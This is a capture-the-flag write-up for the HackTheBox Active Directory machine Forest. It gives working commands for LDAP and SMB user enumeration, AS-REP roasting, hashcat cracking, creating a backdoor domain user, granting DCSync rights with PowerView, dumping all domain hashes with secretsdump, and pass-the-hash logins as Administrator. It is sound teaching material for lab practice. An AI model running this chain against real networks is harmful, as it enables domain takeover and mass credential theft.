Overview

Forest is an Active Directory machine that demonstrates how anonymous LDAP enumeration and an account with Kerberos pre-authentication disabled can lead to an initial foothold, followed by nested group abuse and DCSync rights for full domain compromise.

Attack Chain

  • Enumerate exposed Active Directory services
  • Use anonymous LDAP binds to identify the domain and users
  • Discover svc-alfresco through SMB user enumeration
  • AS-REP Roast svc-alfresco and crack the hash
  • Gain WinRM access as svc-alfresco
  • Enumerate nested group membership with PowerView
  • Abuse Account Operators privileges to modify Exchange-related groups
  • Create a new domain user and grant DCSync rights
  • Dump domain hashes with impacket-secretsdump
  • Pass the Administrator hash with evil-winrm

Enumeration

Port Scanning

We start by defining the target and running a full TCP port scan to identify the exposed services.

export IP=10.129.72.8; export NAME=FOREST; echo $IP; echo $NAME; ping $IP -c 1

nmap --min-rate 4500 --max-rtt-timeout 1500ms $IP -Pn -n -p- -v -oA scans/nmap_allports_$NAME

ports=$(cat scans/nmap_allports_$NAME.nmap | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//); echo $ports

nmap $IP -p$ports -Pn --disable-arp-ping -sC -sV -oA scans/nmap_initial_$NAME -v

The open TCP ports are:

53,88,135,139,389,445,464,593,636,3268,3269,5722,9389,47001,49152,49153,49154,49155,49157,49158,49165,49167,49168

nmap results

Findings

The scan results show a typical Active Directory attack surface. DNS (53), Kerberos (88), RPC (135), SMB (139, 445), LDAP (389, 636), and the Global Catalog ports 3268 and 3269 are exposed. This strongly suggests the target is a domain controller.


LDAP Enumeration

Anonymous LDAP Bind

Since LDAP is exposed, we start with a simple anonymous query using ldapsearch and the -x flag for simple authentication.

ldapsearch -H ldap://$IP -x

The server responds, confirming that anonymous LDAP queries are allowed.

ldapsearch response

Next, we query the base naming contexts to identify the domain name.

ldapsearch -H ldap://$IP -x -s base namingcontexts

This reveals the domain htb.local, which is added to /etc/hosts for name resolution.

ldap namingcontexts

echo "$IP htb.local" | sudo tee -a /etc/hosts

User Enumeration

With the base DN confirmed as DC=htb,DC=local, we query LDAP for user objects and extract the samaccountname values.

ldapsearch -H ldap://$IP -x -b "DC=htb,DC=local" '(objectClass=user)' samaccountname | grep -i samaccountname

This returns several user accounts.

ldap users

To clean the output, we use awk to print only the second column.

ldapsearch -H ldap://$IP -x -b "DC=htb,DC=local" '(objectClass=user)' samaccountname | grep -i samaccountname | awk '{print $2}'

This gives us an initial list of five users.

ldap users clean

LDAP gives us a good start, but it does not show everything. We also enumerate users over SMB with netexec.

nxc smb $IP -u '' -p '' --users

This reveals an additional user, svc-alfresco.

netexec users

At this stage, we have a total of six users to test.

user list


Foothold

AS-REP Roasting

With a user list available, we check whether any account has Kerberos pre-authentication disabled. This is done with impacket-GetNPUsers, which performs an AS-REP Roasting attack.

impacket-GetNPUsers  htb.local/ -dc-ip $IP -no-pass -usersfile creds/users.txt -outputfile creds/hashes.asreproast

The svc-alfresco account returns an AS-REP hash, confirming that Kerberos pre-authentication is disabled for this user.

asrep hash

Cracking the Hash

The captured hash is cracked offline with hashcat using mode 18200.

hashcat -m 18200 creds/hashes.asreproast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force

The password is recovered successfully.

hashcat password

svc-alfresco:s3rvice

WinRM Access

Before opening a shell, we test the credentials against remote access services. WinRM is available to svc-alfresco.

nxc winrm $IP -u 'svc-alfresco' -p 's3rvice'

winrm validate

With valid WinRM access confirmed, we establish an interactive shell using evil-winrm.

evil-winrm -i $IP -u 'svc-alfresco' -p 's3rvice'

evil-winrm svc alfresco

The user flag can now be read.

type C:\Users\svc-alfresco\Desktop\user.txt

user flag


Privilege Escalation

Group Enumeration

After gaining access as svc-alfresco, we transfer and import PowerView.ps1 to enumerate Active Directory permissions and group membership.

We begin by checking the current domain user.

net user svc-alfresco /domain

The account is a member of the Service Accounts group.

svc alfresco groups

Using PowerView, we enumerate domain groups that contain svc-alfresco.

Get-DomainGroup -MemberIdentity 'svc-alfresco' | select samaccountname

This shows that the user is also part of Privileged IT Accounts.

powerview member groups

That suggests the group membership is nested. We inspect the Service Accounts group more closely.

Get-DomainGroup 'Service Accounts' | select samaccountname,memberof

Service Accounts is a member of Privileged IT Accounts.

service accounts nested

Next, we inspect the Privileged IT Accounts group.

Get-DomainGroup 'Privileged IT Accounts' | select samaccountname,memberof

This reveals that Privileged IT Accounts is nested into Account Operators.

privileged it nested

Membership in Account Operators is important because it allows us to create users and modify membership of many non-protected groups. It does not allow direct modification of built-in administrator groups, so we need to find another abuse path.

ACL Enumeration

To look for interesting access control entries, we connect to the domain object using ADSI.

$ADSI=[ADSI]"LDAP://DC=htb,DC=local"

We then search for GenericAll permissions.

$ADSI.psbase.get_ObjectSecurity().getAccessRules($true, $true,[system.security.principal.NtAccount]) | Where-Object {$_.IdentityReference -like "*"} | Where-Object {$_.ActiveDirectoryRights -like "*GenericAll*"} | Where-Object {$_.AccessControlType -like "*Allow*"}

The first results include mostly standard accounts.

genericall results

A more interesting result appears in the output: an Exchange-related group that can be abused as part of the privilege escalation path.

genericall exchange group

Because our user is effectively part of Account Operators through nested group membership, we can create a new user, add that user to an Exchange-related group, and then use that context to grant DCSync rights over the domain.


Alternative Path Discovery

BloodHound Enumeration

The same privilege escalation path can also be identified visually with BloodHound. First, SharpHound.exe is executed on the target.

.\SharpHound.exe -c All --zipfilename FOREST

sharphound collection

After ingesting the data into BloodHound, svc-alfresco is set as the starting node and the htb.local domain is used as the target.

BloodHound shows that the Account Operators group has GenericAll rights over the Exchange Windows Permissions group, which has WriteDacl rights over the htb.local domain.

bloodhound path

This means the same overall attack can be performed by adding a newly created user to Exchange Windows Permissions instead of Exchange Trusted Subsystem.


DCSync Abuse

Creating a Controlled User

We create a new domain user with a known password.

net user /add hacked Pass1234! /domain

Next, we add the new user to the Exchange Trusted Subsystem group.

net group /add 'Exchange Trusted Subsystem' hacked /domain

add user to exchange group

We verify that the user was added successfully.

net groups 'Exchange Trusted Subsystem' /domain

exchange group members

Granting DCSync Rights

Now we create a secure password object for the new user.

$SecPassword = ConvertTo-SecureString 'Pass1234!' -AsPlainText -Force

Then we create a credential object.

$Cred = New-Object System.Management.Automation.PSCredential('HTB.local\hacked', $SecPassword)

Using those credentials, we modify the domain object ACL and grant DCSync rights to hacked.

Add-DomainObjectAcl -Credential $Cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity hacked -Rights DCSync

grant dcsync

Dumping Domain Hashes

With DCSync rights in place, we use impacket-secretsdump from the attacking machine to dump domain hashes.

impacket-secretsdump -outputfile creds/forest.hashes -just-dc htb.local/hacked:'Pass1234!'@$IP

secretsdump dcsync

Using -just-dc with -outputfile creates separate files for NTLM hashes, Kerberos keys, and cleartext passwords for accounts with reversible encryption enabled.

secretsdump output files

We review the dumped NTLM hashes and copy the Administrator hash to a separate file for testing or cracking.

administrator hash

The Administrator password does not crack, but the NTLM hash can still be used directly with pass-the-hash.

Administrator Access

Using the recovered Administrator hash, we authenticate with evil-winrm.

evil-winrm -i $IP -u 'Administrator' -H '32693b11e6aa90eb43d32c72a07ceea6'

This gives us an interactive shell as Administrator.

administrator shell

The root flag can now be read.

type C:\Users\Administrator\Desktop\root.txt

root flag


Key Takeaways

Forest highlights how dangerous anonymous LDAP access can be when combined with weak Kerberos configuration. A single AS-REP roastable service account provided the foothold, while nested group membership and Exchange-related ACLs created a path to grant DCSync rights and dump domain hashes. The result is full domain compromise without needing to crack the Administrator password.